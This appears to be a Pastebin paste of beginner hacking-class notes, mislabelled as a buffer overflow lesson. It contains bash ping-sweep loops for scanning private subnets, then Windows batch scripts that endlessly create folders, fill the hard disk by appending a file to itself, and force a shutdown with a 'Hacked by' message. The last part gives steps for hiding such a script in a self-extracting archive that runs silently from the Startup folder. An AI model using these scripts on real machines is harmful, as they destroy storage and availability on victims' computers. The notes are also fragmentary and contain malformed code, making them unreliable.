LuciferAviSonicX

ufferOverFlowPart2

Oct 10th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. Shell SCripting
  2. ---------------
  3.  
  4. Tool -> netdiscover
  5.  
  6.  
  7. Tool -> nmap
  8.  
  9.  
  10. Linux OS -
  11.  
  12.  
  13. Editor -> gedit | nano | leafpad | vi | vim etc
  14.  
  15.  
  16. Extension : .sh
  17. chmod 777 file.sh
  18. ./file.sh
  19. file name ----> scann.sh
  20.  
  21. #/bin/bash/
  22. ping www.google.com
  23.  
  24. ----exit------
  25. chmod 777 scann.sh
  26.  
  27. netdiscover -> machines are runing in my network
  28.  
  29.  
  30.  
  31. #/bin/bash/
  32. ping -c 1 172.16.3.134 |grep "64 bytes"
  33. ping -c 1 172.16.3.136 |grep "64 bytes"
  34. ping -c 1 172.16.3.137 |grep "64 bytes"
  35. ping -c 1 172.16.3.145 |grep "64 bytes"
  36.  
  37.  
  38. 192.168.0.23
  39. 192.168.0.0-192.168.0.255
  40.  
  41.  
  42. for(i = 0; i < 10;i++)
  43. {
  44. print i;
  45. }
  46.  
  47. 0
  48. 1
  49. 2
  50. 3
  51. 4
  52. 5
  53. 6
  54. 7
  55. 8
  56. 9
  57.  
  58. i value --> 1-255
  59. 192.168.0.i
  60.  
  61. 192.168.0.1
  62. 192.168.0.2
  63. 192.168.0.3
  64. **.**.**.**
  65. 192.168.0.255
  66.  
  67.  
  68. 192.168.0.12
  69. 192.168.0.0-192.168.0.255
  70. 192.168.0.1
  71. 192.168.0.2
  72. 192.168.0.3
  73.  
  74.  
  75.  
  76.  
  77. for ip in $(seq 1 255);do
  78. ping -c 1 172.16.3.$ip | grep "64 bytes"
  79. done
  80.  
  81.  
  82. for ip in $(seq 1 255);do
  83. for ip1 in $(seq 1 255);do
  84. ping -c 1 172.16.$ip.$ip1 | grep "64 bytes"
  85. done
  86. done
  87.  
  88. 172.16.0.0
  89. 172.16.0.1
  90. 172.16.0.2
  91. .255
  92. 172.16.1.0
  93.  
  94.  
  95.  
  96.  
  97. ping -c 1 192.168.0.1 | grep "64 bytes"
  98. ping -c 1 192.168.0.2 | grep "64 bytes"
  99. ping -c 1 192.168.0.3 | grep "64 bytes"
  100.  
  101. ping -c 1 192.168.0.255 | grep "64 bytes"
  102.  
  103.  
  104.  
  105.  
  106.  
  107. 192.168.0.255
  108.  
  109. #/bin/bash/
  110. for ip in $(seq 1 255);do
  111. ping -c 1 172.16.3.$ip |grep "ttl" |cut -d " " -f4 |cut -d ":" -f1
  112. done
  113.  
  114.  
  115.  
  116. Batch SCripting
  117. ----------------
  118.  
  119. Editor -> Notepad
  120.  
  121. Extension: .bat
  122.  
  123.  
  124. for creating randon folders
  125. :banao
  126. mkdir %random%
  127. goto banao
  128.  
  129.  
  130.  
  131. for eating up the space in hard disk
  132. :space
  133. type chotu.txt>>chotu.txt
  134. goto space
  135.  
  136.  
  137. :space
  138. echo "hello">>chotu.txt
  139. goto space
  140.  
  141.  
  142.  
  143. @echo off
  144.  
  145. Random Folder
  146. Shutdown
  147.  
  148. shutdown -s -t 10 -c "Hacked by Neha Mam"
  149.  
  150.  
  151. SFX ->
  152. 1. create a .bat file
  153. 2. right click on batch file
  154. 3. Add a archive
  155. 4. SFX
  156. 5. Advacnce tab ---> SFX Option
  157. 6. goto general tab ---> path
  158. 7. Goto update tab --> select middle option for both the items
  159. 8. Goto setup --> provide the path of startup
  160. 9. goto Modes --> select hide all.
  161. 10. click OK
  162. 11. Click ok.....
Add Comment
Please, Sign In to add comment